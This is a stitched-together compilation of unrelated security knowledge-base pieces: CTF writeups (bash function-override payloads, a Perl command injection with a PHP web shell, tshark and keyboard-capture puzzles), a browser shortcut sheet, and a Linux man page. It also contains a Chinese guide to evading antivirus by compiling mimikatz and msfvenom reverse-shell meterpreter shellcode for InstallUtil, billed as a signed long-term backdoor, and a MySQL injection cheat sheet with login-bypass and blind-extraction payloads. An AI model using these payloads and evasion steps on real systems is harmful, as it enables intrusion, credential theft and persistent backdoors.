(think `.bashrc`). `BASH_ENV=flag` makes bash print the flag to stderr, complaining
that no such command exists.
```
["BASH_ENV","flag","bepis"],
```
- `PS4` is the prompt used for tracing with `set -x`. It can contain variable
and command expansions.
```
["PS4","`cat flag`","bepis"],
```
- To progress further, we must learn that there is a way to export bash functions
into the environment:
```
["BASH_FUNC_grep%%", "() { cat flag; }", "bepis"],
["BASH_FUNC_set%%", "() { cat flag; }", "bepis"],
["BASH_FUNC_test%%", "() { cat flag; }", "bepis"],
["BASH_FUNC_echo%%", "() { cat flag; }", "bepis"],
["BASH_FUNC_bash%%", "() { cat flag; }", "bepis"],
```
- Surprisingly, `return` is not a keyword and can be overwritten too:
```
["BASH_FUNC_return%%", "() { cat flag; }", "bepis"],
```
- Let's also not forget about the commands executed by the subshell spawned by the
`quiet` function:
```
["BASH_FUNC_eval%%", "() { cat flag; }", "bepis"],
["BASH_FUNC_exec%%", "() { cat flag; }", "bepis"],
```
- `hash` is executed inside of `silent`, so printing the flag out of there
is somewhat difficult. I chose to overwrite the `silent` function when `hash`
is executed, and wait until it's used again at `silent imaginary`.
```
["BASH_FUNC_hash%%", "() { silent() { cat flag; }; return 1; }", "bepis"],
```
- `cat` is even more problematic, as the entire shell in which it runs has no
open file descriptors. We need to use procfs:
```
["BASH_FUNC_cat%%", "() { read flag < flag; echo $flag > /proc/$PPID/fd/1; }", "bepis"],
```
(I am using `read` and `echo` instead of `cat` to avoid recursion. Just now, I have
realized that `command cat` would also work.)
- The last one is somewhat tricky, but that whole `imaginary` part of the script
is makes you realize quite soon that you need to use the command not found hook
that Ubuntu uses to tell you which apt package you need to install. A quick Google
later, we obtain the final flag:
```
["BASH_FUNC_command_not_found_handle%%", "() { cat flag > /proc/$$/fd/1; }", "bepis"],
```
(Note that the above timeline is abridged. In reality, we realized how to exploit
the unintended grep issue after we already found 14 legitimate environment variables.)
|
sec-knowleage
|
---
title: Vivaldi Browser
date: 2022-11-23 16:23:31.694597
background: bg-[#d54840]
label:
tags:
-
-
categories:
- Keyboard Shortcuts
intro: |
A visual cheat-sheet for the 69 default keyboard shortcuts found in the Vivaldi browser
---
Keyboard Shortcuts
------------------
### Window
Shortcut | Action
---|---
`Ctrl` `N` | New window
`Ctrl` `Shift` `N` | New private window
`Ctrl` `Shift` `W` | Close window
`Ctrl` `E` | Quick commands
`Ctrl` `,` | Settings
`Ctrl` `Alt` `E` | Extensions
`Ctrl` `H` | History
`Ctrl` `Alt` `B` | Bookmarks
`Ctrl` `Shift` `Delete` | Delete browsing data
`Ctrl` `Q` | Quit Vivaldi
`Ctrl` `Shift` `?` | Help
`Ctrl` `F1` | Keyboard cheat sheet
`Ctrl` `P` | Print
`Ctrl` `U` | View page source
`Ctrl` `Shift` `I` | Developer tools
`Ctrl` `Shift` `J` | Developer tools console
`Ctrl` `Shift` `V` | Paste and go
`Ctrl` `M` | Minimize
{.shortcuts}
### View
Shortcut | Action
---|---
`Ctrl` `Shift` `F` | Fullscreen mode
`Ctrl` `Shift` `B` | Bookmarks bar
`Ctrl` `/` | Status bar
`Ctrl` `F10` | Toggle UI
`Ctrl` `+` | Page zoom in
`Ctrl` `-` | Page zoom out
`Ctrl` `0` | Page zoom reset
`Ctrl` `Alt` `P` | Panel
`F7` | Focus panel
`Ctrl` `Alt` `Down` | Open next panel
`Ctrl` `Alt` `Up` | Open previous panel
`Ctrl` `Alt` `B` | Bookmarks panel
`Ctrl` `Alt` `L` | Downloads panel
`Ctrl` `Alt` `N` | Notes panel
`Ctrl` `Alt` `Y` | History panel
{.shortcuts}
### Tab
Shortcut | Action
---|---
`Ctrl` `T` | New tab
`Ctrl` `W` | Close tab
`Ctrl` `Shift` `Tab` | Tab cycler back
`Ctrl` `Tab` | Tab cycler forward
`Ctrl` `Shift` `[` | Previous tab (by order)
`Ctrl` `Shift` `]` | Next tab (by order)
`Ctrl` `Shift` `Up` | Move active tab backward
`Ctrl` `Shift` `Down` | Move active tab forward
`Ctrl` `1-8` | Switch to tab 1-8
`Ctrl` `9` | Switch to the last tab
`Ctrl` `Shift` `T` | Reopen last tab
`Ctrl` `F9` | Tile vertically
`Ctrl` `F8` | Tile horizontally
`Ctrl` `F7` | Tile to grid
`Ctrl` `F6` | Untile tabs
`Ctrl` `Alt` `I` | Load images
{.shortcuts}
### Page
Shortcut | Action
---|---
`Ctrl` `D` | Create bookmark
`Ctrl` `L` | Focus address field
`Ctrl` `R` | Reload page
`Ctrl` `Shift` `R` | Force reload page
`F9` | Focus page
`Ctrl` `K` | Focus search field
`Ctrl` `F` | Find in page
`Ctrl` `G` | Find next in page
`Ctrl` `Shift` `G` | Find previous in page
`Ctrl` `Left` | History back
`Ctrl` `Right` | History forward
`Esc` | Stop loading
`Ctrl` `O` | Open file
`Ctrl` `S` | Save page as
`Ctrl` `Shift` `H` | Home
`Ctrl` `Alt` `C` | Copy selected text to note
`Shift` `Left` | Spatial navigation left
`Shift` `Up` | Spatial navigation up
`Shift` `Right` | Spatial navigation right
`Shift` `Down` | Spatial navigation down
{.shortcuts}
Also see
--------
- [Keyboard shortcuts for Vivaldi](https://help.vivaldi.com/article/keyboard-shortcuts/) _(help.vivaldi.com)_
|
sec-knowleage
|
##Entry form (Web/Network, 100p)
```
http://entryform.pwn.seccon.jp/register.cgi
(Do not use your real mail address.)
```
###PL
[ENG](#eng-version)
Formularz pod podanym linkiem pozwalał nam na podanie adresu e-mail oraz nazwy użytkownika. Po wysłaniu podziękował nam za podanie informacji, ale w rzeczywistości niczego nie wysyłał. Krótka zabawa z modyfikacją wartości niczego nam nie dała więc postanowiliśmy się rozejrzeć. Okazało się, że serwer webowy ma włączone listowanie i pod `http://entryform.pwn.seccon.jp/` znaleźliśmy dodatkowo katalog `SECRETS` oraz plik `register.cgi_bak`. Pierwszy katalog nie był dostępny, ale drugi z plików dał nam kod źródłowy naszego formularza.
Najciekawsza część wyglądała następująco:
```perl
if($q->param("mail") ne '' && $q->param("name") ne '') {
open(SH, "|/usr/sbin/sendmail -bm '".$q->param("mail")."'");
print SH "From: keigo.yamazaki\@seccon.jp\nTo: ".$q->param("mail")."\nSubject: from SECCON Entry Form\n\nWe received your entry.\n";
close(SH);
open(LOG, ">>log"); ### <-- FLAG HERE ###
flock(LOG, 2);
seek(LOG, 0, 2);
print LOG "".$q->param("mail")."\t".$q->param("name")."\n";
close(LOG);
print "<h1>Your entry was sent. <a href='?' style='color:#52d6eb'>Go Back</a></h1>";
exit;
}
```
Jest to skrypt w Perlu, w którym od razu rzuca się w oczy możliwość wywołania własnego polecenia zawierając go w parametrze `mail`.
Potwierdza nam to wysłanie `';ls -la;'`. Według kodu źródłowego flagę mamy znaleźć w pliku `log`. Niestety wygląda na to, że skrypt perlowy nie ma praw do jego odczytania. W takim razie sprawdziliśmy co znajdowało się w uprzednio niedostępnym dla nas katalogu `SECRETS`. Znajdował się tam plik `backdoor123.php` o prostym kodzie: `<pre><?php system($_GET['cmd']); ?></pre>`. Wywołanie w nim polecenia `cat ../log` dało nam flagę:
`SECCON{Glory_will_shine_on_you.}`
### ENG version
Opening the provided link gave us a form asking for an e-mail and a username. After submitting it displayed a thank you message, but didn't really sent us anything. After some time playing with the values we decided to look around. It turned out that the webserver had listing enabled and going to `http://entryform.pwn.seccon.jp/` gave us a `SECRETS` directory and a `register.cgi_bak` file. The former wasn't available, but the latter file gave us a source code of our form.
The most interesing part was the following:
```perl
if($q->param("mail") ne '' && $q->param("name") ne '') {
open(SH, "|/usr/sbin/sendmail -bm '".$q->param("mail")."'");
print SH "From: keigo.yamazaki\@seccon.jp\nTo: ".$q->param("mail")."\nSubject: from SECCON Entry Form\n\nWe received your entry.\n";
close(SH);
open(LOG, ">>log"); ### <-- FLAG HERE ###
flock(LOG, 2);
seek(LOG, 0, 2);
print LOG "".$q->param("mail")."\t".$q->param("name")."\n";
close(LOG);
print "<h1>Your entry was sent. <a href='?' style='color:#52d6eb'>Go Back</a></h1>";
exit;
}
```
It's a Perl script and the first thing that comes to mind is the possibility of a bash command injection in the `mail` parameter.
We confirm it by sending `';ls -la;'`. According to the source code we were supposed to find the flag in the `log` file. Unfortunately it seemed that the Perl script didn't have a read access. In that case we tried accessing the previousely inaccessible `SECRETS` directory. There was a `backdoor123.php` file with a very simple source code: `<pre><?php system($_GET['cmd']); ?>`. Invoking a `cat ../log` gave us the flag:
`SECCON{Glory_will_shine_on_you.}`
|
sec-knowleage
|
ntsysv
===
集中管理系统的各种服务
## 补充说明
**ntsysv命令** 提供了一个基于文本界面的菜单操作方式,集中管理系统不同的运行等级下的系统服务启动状态。在RedHat各个发行版,CentOS各个版本,都自带这个工具。它具有互动式操作界面,您可以轻易地利用方向键和空格键等,开启,关闭操作系统在每个执行等级中,所要执行的系统服务。
### 语法
```shell
ntsysv(选项)
```
### 选项
```shell
--leve:指定运行等级;
--back:在互动式界面里,显示Back钮,而非cancel钮。
```
### 实例
输入ntsysv命令后,出现一个交互式的管理菜单,如下:
```shell
!ntsysv
```
使用空格键选择或者取消选项!
|
sec-knowleage
|
payload 分离免杀思路第一季是专门针对 x32 系统,以及针对 xp 包括以下版本。而在实战中,目标机器多为 Windows7 以上版本。而服务器以 x64 位居多。在第一季中,借助了非微软自带第三方来执行 Shellcode,这一季采取调用微软自带来执行 Shellcode,这里就会有一个好处,调用自带本身一定就会有微软的签名,从而绕过反病毒软件。
### 介绍相关概念:
Windows 自 Windows XP Media Center Edition 开始默认安装 NET Framework,直至目前的 Windows 10,最新的默认版本为4.6.00081.00。随着装机量,最新默认安装版本为4.7.2053.0。
### csc.exe:
C# 的在 Windows 平台下的编译器名称是 Csc.exe,如果你的 .NET FrameWork SDK 安装在 C 盘,那么你可以在 `C:\WINNT\Microsoft.NET\Framework\xxxxx` 目录中发现它。为了使用方便,你可以手动把这个目录添加到 Path 环境变量中去。用 Csc.exe 编译 HelloWorld.cs 非常简单,打开命令提示符,并切换到存放 test.cs 文件的目录中,输入下列行命令: `csc /target:exe test.cs`将 Ttest.cs 编译成名为 test.exe 的 console 应用程序
```bash
//test.cs
using System;
class TestApp
{
public static void Main()
{
Console.WriteLine("Micropoor!");
}
}
```
### InstallUtil.exe:
微软官方介绍如下:
> The Installer tool is a command-line utility that allows you to install and uninstall server resources by executing the installer components in specified assemblies. This tool works in conjunction with classes in the System.Configuration.Install namespace.
> This tool is automatically installed with Visual Studio. To run the tool,use the Developer Command Prompt (or the Visual Studio Command Prompt in Windows7). For more information, see Command Prompts.
https://docs.microsoft.com/en-us/dotnet/framework/tools/installutil-exe-installer-tool
关于两个文件默认安装位置:(注意x32,x64区别)
```bash
C:\Windows\Microsoft.NET\Framework\
C:\Windows\Microsoft.NET\Framework64\
C:\Windows\Microsoft.NET\Framework\
C:\Windows\Microsoft.NET\Framework64\
```
文章采取2种demo来辅助本文中心思想。
### demo1:
以抓密码为例:测试环境:目标A机安装了 360 套装。目标机 B 安装了小红伞,NOD32。目标机安 C 装了麦咖啡。
生成秘钥:

执行:
```bash
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /r:System.IO.Compression.dll /target:library /out:Micropoor.exe /keyfile:C:\Users\Johnn\Desktop\installutil.snk /unsafe
C:\Users\Johnn\Desktop\mimi.cs
```

```bash
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Users\Johnn\Desktop\Micropoor.exe
```


### demo2:
以msf为例:
生成shllcode
```bash
msfvenom --platform Windows -a x64 -p windows/x64/meterpreter/reverse_tcp_uuid LHOST=192.168.1.5 LPORT=8080 -b '\x00' -e x64/xor -i 10 -f csharp -o ./Micropoor.txt
```


替换shellcode。

编译:
```bash
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe /unsafe /platform:x64 /out:Micropoor.exe M.cs
```

运行:
```bash
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\InstallUtil.exe /logfile= /LogToConsole=false /U Micropoor.exe
```

**注:在实际测试的过程,起监听需要配置一些参数,防止假死与假session。**
```bash
msf exploit(multi/handler) > set exitonsession false
exitonsession => false
msf exploit(multi/handler) > set EnableStageEncoding true
EnableStageEncoding => true
msf exploit(multi/handler) >
msf exploit(multi/handler) > set Stageencoder x64/xor
Stageencoder => x64/xor
msf exploit(multi/handler) > set stageencodingfallback false
stageencodingfallback => false
msf exploit(multi/handler) > exploit -j -z
```

上线:

mimi.cs 953.71 KB
shllcode.cs
> 后者的话:该方法可以做一个带签名的长期后门。
>
> Micropoor
|
sec-knowleage
|
# T1593-001-搜索开放的域和网站-社交媒体
## 来自ATT&CK的描述
入侵受害者之前,攻击者可以搜索社交媒体以收集目标确定期间使用的有关受害者的信息。社交媒体网站可能包含有关受害组织的各种信息,例如业务公告以及有关员工的角色,位置和兴趣的信息。
攻击者可以根据他们寻求收集的信息在不同的社交媒体站点中进行搜索,也可能会被动地从这些站点收集数据,并使用收集的信息来创建虚假的个人资料/群组,以诱使受害者泄露特定信息(例如:[钓鱼服务](https://contribute.knowledge.qihoo.net/detail/technique/T1598/001))(引自:Cyware Social Media)。这些来源提供的信息可能为如下活动提供可能性:其他形式的侦察活动(例如:[钓鱼](https://contribute.knowledge.qihoo.net/detail/technique/T1598)或[搜索公开技术数据库](https://contribute.knowledge.qihoo.net/detail/technique/T1596)),建立运营资源(例如:[建立账号](https://contribute.knowledge.qihoo.net/detail/technique/T1585)或[入侵账号](https://contribute.knowledge.qihoo.net/detail/technique/T1586)),实现初始访问(例如:[通过服务进行鱼叉式钓鱼攻击](https://contribute.knowledge.qihoo.net/detail/technique/T1566.003))。
## 测试案例
个人理解:攻击者可以通过收集某企业员工信息,比如前期添加好友,观察其社交媒体上的动态,翻看历史动态信息,收集其工作沟通工具、上下班时间等。如对方通过邮箱沟通交流业务,可以进行钓鱼邮件投递进行渗透,获取权限。
## 检测日志
无
## 测试复现
无
## 测试留痕
无
## 检测规则/思路
无
## 建议
许多此类攻击活动的发生率很高,并且相关的误报率也很高,并且有可能发生在目标组织的监测范围之外,从而使防御者难以发现。
检测工作可能会集中在攻击生命周期的相关阶段,例如在"初始访问"阶段。
## 关联TIP
[[T1593-002-搜索开放的域和网站-搜索引擎]]
## 参考推荐
MITRE-ATT&CK-T1593-001
<https://attack.mitre.org/techniques/T1593/001/>
|
sec-knowleage
|
### 数据提取相关介绍
这一块是流量包中另一个重点,通过对协议分析,找到了题目的关键点,如何提取数据成了接下来的关键问题
### wireshark自动分析
`file -> export objects -> http`
### wireshark手动数据提取
`file->export selected Packet Bytes`
### tshark介绍
tshark作为wireshark的命令行版,高效快捷是它的优点,配合其余命令行工具(awk,grep)等灵活使用,可以快速定位,提取数据从而省去了繁杂的脚本编写
再看`Google CTF 2016 Forensic-200`这一题,可以通过tshark迅速完成解题
```shll
what@kali:/tmp$ tshark -r capture.pcapng -T fields -e usb.capdata > data2.txt
what@kali:/tmp$ # awk -F: 'function comp(v){if(v>127)v-=256;return v}{x+=comp(strtonum("0x"$2));y+=comp(strtonum("0x"$3))}$1=="01"{print x,y}' data.txt > data3.txt
what@kali:/tmp$ gnuplot
> plot "data3.txt"
```
- Step 1 鼠标协议中数据提取
- Step 2 通过awk进行位置坐标转换
- Step 3 形成图形
### tshark常用方法
> `tshark -r **.pcap –Y ** -T fields –e ** | **** > data`
```
Usage:
-Y <display filter> packet displaY filter in Wireshark display filter
syntax
-T pdml|ps|psml|json|jsonraw|ek|tabs|text|fields|?
format of text output (def: text)
-e <field> field to print if -Tfields selected (e.g. tcp.port,
_ws.col.Info)
```
通过`-Y`过滤器(与wireshark一致),然后用`-T filds -e`配合指定显示的数据段(比如usb.capdata)
- `tips`
- `-e`后的参数不确定可以由 `wireshark` 右击需要的数据选中后得到
### tshark相关例题
> 题目:`google-ctf-2016 : a-cute-stegosaurus-100`
这题的数据隐藏的非常巧妙,而且有一张图片混淆视听,需要对`tcp`协议非常熟悉,所以当时做出来的人并不多,全球只有 `26` 支队伍
在`tcp`报文段中有6Bit的状态控制码,分别如下
- URG:紧急比特(urgent),当URG=1时,表明紧急指针字段有效,代表该封包为紧急封包。它告诉系统此报文段中有紧急数据,应尽快传送(相当于高优先级的数据)
- ACK:确认比特(Acknowledge)。只有当ACK=1时确认号字段才有效,代表这个封包为确认封包。当ACK=0时,确认号无效。
- PSH:(Push function)若为1时,代表要求对方立即传送缓冲区内的其他对应封包,而无需等缓冲满了才送。
- RST:复位比特(Reset) ,当RST=1时,表明TCP连接中出现严重差错(如由于主机崩溃或其他原因),必须释放连接,然后再重新建立运输连接。
- SYN:同步比特(Synchronous),SYN置为1,就表示这是一个连接请求或连接接受报文,通常带有 SYN 标志的封包表示『主动』要连接到对方的意思。。
- FIN:终止比特(Final),用来释放一个连接。当FIN=1时,表明此报文段的发送端的数据已发送完毕,并要求释放运输连接。
通过tshark提取`tcp.urg`然后去除0的字段,换行符转`,`直接转换成python的列表,转ascii即可得到flag
```
⚡ root@kali: tshark -r Stego-200_urg.pcap -T fields -e tcp.urgent_pointer|egrep -vi "^0$"|tr '\n' ','
Running as user "root" and group "root". This could be dangerous.
67,84,70,123,65,110,100,95,89,111,117,95,84,104,111,117,103,104,116,95,73,116,95,87,97,115,95,73,110,95,84,104,101,95,80,105,99,116,117,114,101,125,#
...
>>> print "".join([chr(x) for x in arr]) #python转换ascii
CTF{And_You_Thought_It_Was_In_The_Picture}
```
> 题目:`stego-150_ears.xz`
**Step 1**
通过`file`命令不断解压得到 `pcap` 文件
```shell
➜ Desktop file ears
ears: XZ compressed data
➜ Desktop unxz < ears > file_1
➜ Desktop file file_1
file_1: POSIX tar archive
➜ Desktop 7z x file_1
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,1 CPU Intel(R) Core(TM) i7-4710MQ CPU @ 2.50GHz (306C3),ASM,AES-NI)
Scanning the drive for archives:
1 file, 4263936 bytes (4164 KiB)
Extracting archive: file_1
--
Path = file_1
Type = tar
Physical Size = 4263936
Headers Size = 1536
Code Page = UTF-8
Everything is Ok
Size: 4262272
Compressed: 4263936
```
**Step 2**
通过 `wireshark` 发现 `dns` 中回应名字存在异常,组成 `16` 进制的 `png` 文件
采用 `tshark` 进行提取,提取 `dns` 中的数据,筛选具体报文形式`\w{4,}.asis.io`
`tshark -r forensic_175_d78a42edc01c9104653776f16813d9e5 -T fields -e dns.qry.name -e dns.flags|grep 8180|awk '{if ($1~/\w{4,}.asis.io/) print $1}'|awk -F '.' '{print $1}'|tr -d '\n' > png`
**Step 3**
`16` 进制还原图片
`xxd -p -r png flag`
### 自定义协议类题目介绍
提取数据存在一类特殊情况,即传输的数据本身使用自定义协议,下面用 `HITCON 2018` 的两道 Misc 为例说明。
### 自定义协议类例题
- [HITCON-2018 : ev3 basic](https://github.com/ctf-wiki/ctf-challenges/tree/master/misc/cap/2018HITCON-ev3-basic)
- [HITCON-2018 : ev3 scanner](https://github.com/ctf-wiki/ctf-challenges/tree/master/misc/cap/2018HITCON-ev3-scanner)
### 自定义协议类**ev3 basic**题目解析
#### 确定数据
对于这类题目,首先分析有效数据位于哪些包中。观察流量,通讯双方为 `localhost` 和 `LegoSystem` 。其中大量标为 `PKTLOG` 的数据包都是日志,此题中不需关注。简单浏览其余各个协议的流量,发现仅 `RFCOMM` 协议中存在没有被 `wireshark` 解析的 `data` 段,而 `RFCOMM` 正是蓝牙使用的[传输层协议](https://en.wikipedia.org/wiki/List_of_Bluetooth_protocols#Radio_frequency_communication_(RFCOMM))之一。
由前述 `tshark` 相关介绍,可以通过以下命令提取数据:
`tshark -r .\ev3_basic.pklg -T fields -e data -Y "btrfcomm"`
#### 分析协议
找到数据后,需要确定数据格式。如何查找资料可以参考 `信息搜集技术` 一节,此处不再赘述。总之由 `ev3` 这个关键词出发,我们最终知道这种通信方式传输的内容被称之为 [Direct Command](http://ev3directcommands.blogspot.com/2016/01/no-title-specified-page-table-border_94.html),所使用的是乐高自定义的一种[简单应用层协议](https://le-www-live-s.legocdn.com/sc/media/files/ev3-developer-kit/lego%20mindstorms%20ev3%20communication%20developer%20kit-f691e7ad1e0c28a4cfb0835993d76ae3.pdf?la=en-us),`Command` 本身格式由乐高的手册 [EV3 Firmware Developer Kit](http://www.lego.com/en-gb/mindstorms/downloads) 定义。*(查找过程并不像此处简单而直观,也是本题的关键点之一。)*
在乐高的协议中,发送和回复遵从不同格式。在 `ev3 basic` 中,所有回复流量都相同,通过手册可知内容代表 `ok` ,没有实际含义,而发送的每个数据包都包含了一条指令。由协议格式解析出指令的 `Opcode` 均为 `0x84` ,代表 `UI_DRAW` 函数,且 `CMD` 是 `0x05` ,代表 `TEXT` 。之后是四个参数,`Color`, `X0`, `Y0`, `STRING` 。此处需要注意乐高的单个参数字节数并不固定,即便手册上标明了数据类型是 `DATA16` ,仍然可能使用一个字节长度的参数,需要参照手册中 `Parameter encoding` 一节及[相关文章](http://ev3directcommands.blogspot.com/2016/01/ev3-direct-commands-lesson-02-pre.html)。
尝试分析几个命令,发现每个指令都会在屏幕特定位置打印一个字符,这与提供的图片相符。
#### 处理结果
理解数据内容后,通过脚本提取所有命令并解析参数,需要注意单个参数的字节数不固定。
得到所有命令的参数后,可以将每个字符其按照坐标绘制在屏幕上。较简单的做法是先按 `X` 后按 `Y` 排序,直接输出即可。
### 自定义协议类**ev3 scanner**题目解析
第二题的做法与第一题基本相同,难度增加的地方在于:
- 发送的命令不再单一,包括读取传感器信息、控制 ev3 运动
- 回复也包含信息,主要是传感器读取的内容
- 函数的参数更复杂,解析难度更大
- 解析命令得到的结果需要更多处理
`ev3 scanner` 此处不再提供详细方法,可作为练习加深对这一类型题目的理解。
|
sec-knowleage
|
# Hacker In Disguise(for, 100 points, solved by 27)
```
r2C +17 d17
rF0 r2C -17 u17
r33 +0B d0B
r43 +0C d0C
rF0 r33 -0B u0B
rF0 r43 -0C u0C
r1B +16 d16
rF0 r1B -16 u16 r29 +2C d2C
r43 +0C d0C rF0 r29 -2C u2C
rF0 r43 -0C u0C r1B +16 d16
rF0 r1B -16 u16 r29 +2C d2C
rF0 r29 -2C u2C
r35 +1C d1C
rF0 r35 -1C u1C r44 +12 d12
r3C +18 d18
rF0 r44 -12 u12
rF0 r3C -18 u18 r2D +15 d15
r29 +2C d2C rF0 r2D -15 u15
rF0 r29 -2C u2C r2B +09 d09
rF0 r2B -09 u09 r4B +0F d0F
rF0 r4B -0F u0F r1C +04 d04
r34 +0A d0A rF0 r1C -04 u04
rF0 r34 -0A u0A
r29 +2C d2C
rF0 r29 -2C u2C
r59 +E5 dE5
r24 +08 d08
rF0 r24 -08 u08
r42 +0E d0E
r44 +12 d12 rF0 r42 -0E u0E
rF0 r44 -12 u12
rF0 r59 -E5 uE5
r12 +E1 dE1
r54 +2F d2F
rF0 r54 -2F u2F
rF0 r12 -E1 uE1
r33 +0B d0B
r44 +12 d12 rF0 r33 -0B u0B
rF0 r44 -12 u12
r4B +0F d0F
rF0 r4B -0F u0F r1C +04 d04
rF0 r1C -04 u04
r4D +13 d13
r43 +0C d0C
rF0 r4D -13 u13 rF0 r43 -0C u0C r1C +04 d04
rF0 r1C -04 u04 r31 +11 d11 r44 +12 d12
rF0 r31 -11 u11 rF0 r44 -12 u12
r4B +0F d0F
r1C +04 d04 rF0 r4B -0F u0F
rF0 r1C -04 u04
r12 +E1 dE1
r5B +30 d30
rF0 r5B -30 u30
rF0 r12 -E1 uE1
r11 +E0 dE0
r21 +06 d06
```
The key element in solving this task is obtainting a HID keyboard mapping like [this one](https://github.com/nazywam/ctf-stuff/blob/master/usb-pcap/HIDKeyboardMappings.py)
The flag format `EKO{`, encoded, looks like this: `08 0e 12 2f` after a quick investigation we find a part of the ciphertext that corresponds to it:
```
rF0 r24 -08 u08 //E
r42 +0E d0E //K
r44 +12 d12 rF0 r42 -0E u0E //K
rF0 r44 -12 u12 //O
rF0 r59 -E5 uE5 //shift
r12 +E1 dE1 //
r54 +2F d2F //{
rF0 r54 -2F u2F
```
Using some trivial deduction, we can figure out that `dHEX` signals a key-down and a `uHEX` key-up
We were able to get the flag using a simple script in python
`EKO{holapianola}`
|
sec-knowleage
|
### SQL注入基本概念
将 SQL 代码插入或添加到应用(用户)的输入参数中,之后再将这些参数传递给后台的 SQL 服务器加以解析并执行的攻击
修改 SQL 语句,该进程将与执行命令的组件(如数据库服务器、应用服务器或 WEB 服务器)拥有相同的权限
如果在WEB 表单、cookie、输入参数等收到的值传递给 SQL 查询(该查询在数据库服务器上执行)之前未对其进行过验证,通常就会出现 SQL 注入漏洞
### SQL注入常用工具
Burp Suite:`http://drops.xmd5.com/static/drops/tools-1548.html`
Tamper Data (Firefox addon)
HackBar (Firefox addon)
sqlmap:`http://drops.xmd5.com/static/drops/tips-143.html`
### SQL注入常用参数
user():当前数据库用户
database()`:当前数据库名
version()`:当前使用的数据库版本
@@datadir`:数据库存储数据路径
concat():联合数据,用于联合两条数据结果。如concat(username,0x3a,password)`
group_concat():和concat()类似,如group_concat(DISTINCT+user,0x3a,password)`,用于把多条数据一次注入出来
concat_ws():用法类似
hex()和unhex():用于 hex 编码解码
load_file():以文本方式读取文件,在 Windows 中,路径设置为`\\`
select xxoo into outfile '路径':权限较高时可直接写文件
### SQL注入行间注释语法
`--`:`DROP sampletable;--```
`#`:```DROP sampletable;#```
### SQL注入行内注释语法
`/*注释内容*/`:```DROP/*comment*/sampletable` DR/**/OP/*绕过过滤*/sampletable` SELECT/*替换空格*/password/**/FROM/**/Members```
`/*! MYSQL专属 */`:```SELECT /*!32302 1/0, */ 1 FROM tablename```
### SQL注入字符串编码函数
ASCII():返回字符的 ASCII 码值
CHAR():把整数转换为对应的字符
### SQL注入后台万能密码格式
`admin' --`
`admin' #`
`admin'/*`
`' or 1=1--`
`' or 1=1#`
`' or 1=1/*`
`') or '1'='1--`
`') or ('1'='1--`
以不同的用户登陆 `' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--`
### SQL注入查询数据库名语句
```SELECT database();
SELECT schema_name FROM information_schema.schemata;```
```
### SQL注入查询表名语句
union查询:
```
--MySQL 4版本时用version=9,MySQL 5版本时用version=10
UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE version=10; /* 列出当前数据库中的表 */
UNION SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA=database(); /* 列出所有用户自定义数据库中的表 */
SELECT table_schema, table_name FROM information_schema.tables WHERE table_schema!='information_schema' AND table_schema!='mysql';
```
盲注:
```
AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables > 'A'
```
报错:
```
AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),FLOOR(RAND(0)*2))) (@:=1)||@ GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),!@) HAVING @||MIN(@:=0); AND ExtractValue(1, CONCAT(0x5c, (SELECT table_name FROM information_schema.tables LIMIT 1)));
-- 在5.1.5版本中成功。
```
### SQL注入查询列名语句
union查询:
```
UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'tablename'
```
盲注:
```
AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > 'A'
```
报错:
```
-- 在5.1.5版本中成功
AND (1,2,3) = (SELECT * FROM SOME_EXISTING_TABLE UNION SELECT 1,2,3 LIMIT 1)
-- MySQL 5.1版本修复了
AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),FLOOR(RAND(0)*2))) (@:=1)||@ GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),!@) HAVING @||MIN(@:=0); AND ExtractValue(1, CONCAT(0x5c, (SELECT column_name FROM information_schema.columns LIMIT 1)));
```
### SQL注入根据列名查询所在的表
```-- 查询字段名为 username 的表
SELECT table_name FROM information_schema.columns WHERE column_name = 'username';
-- 查询字段名中包含 username 的表
SELECT table_name FROM information_schema.columns WHERE column_name LIKE '%user%';
```
### SQL注入绕过引号限制语句
```-- hex 编码
SELECT * FROM Users WHERE username = 0x61646D696E
-- char() 函数
SELECT * FROM Users WHERE username = CHAR(97, 100, 109, 105, 110)
```
### SQL注入绕过字符串黑名单语句
```SELECT 'a' 'd' 'mi' 'n';
SELECT CONCAT('a', 'd', 'm', 'i', 'n');
SELECT CONCAT_WS('', 'a', 'd', 'm', 'i', 'n');
SELECT GROUP_CONCAT('a', 'd', 'm', 'i', 'n');
```
使用 `CONCAT()` 时,任何个参数为 null,将返回 null,推荐使用 `CONCAT_WS()`。`CONCAT_WS()`函数第一个参数表示用哪个字符间隔所查询的结果
### SQL注入条件语句格式
`CASE`, `IF()`, `IFNULL()`, `NULLIF()`
```SELECT IF(1=1, true, false);
SELECT CASE WHEN 1=1 THEN true ELSE false END;
```
### SQL注入延时函数格式
`SLEEP()`, `BENCHMARK()`
```
' - (IF(MID(version(),1,1) LIKE 5, BENCHMARK(100000,SHA1('true')), false)) - '
```
### SQL注入order by后的注入方式
`order by` 由于是排序语句,所以可以利用条件语句做判断,根据返回的排序结果不同判断条件的真假。一般带有 `order` 或者 `order by` 的变量很可能是这种注入,在知道一个字段的时候可以采用如下方式注入:
原始链接:`http://www.test.com/list.php?order=vote`
根据 `vote` 字段排序。找到投票数最大的票数 `num` 然后构造以下链接:http://www.test.com/list.php?order=abs(vote-(length(user())>0)*num)+asc
看排序是否变化。还有一种方法不需要知道任何字段信息,使用 `rand` 函数:http://www.test.com/list.php?order=rand(true)
http://www.test.com/list.php?order=rand(false)
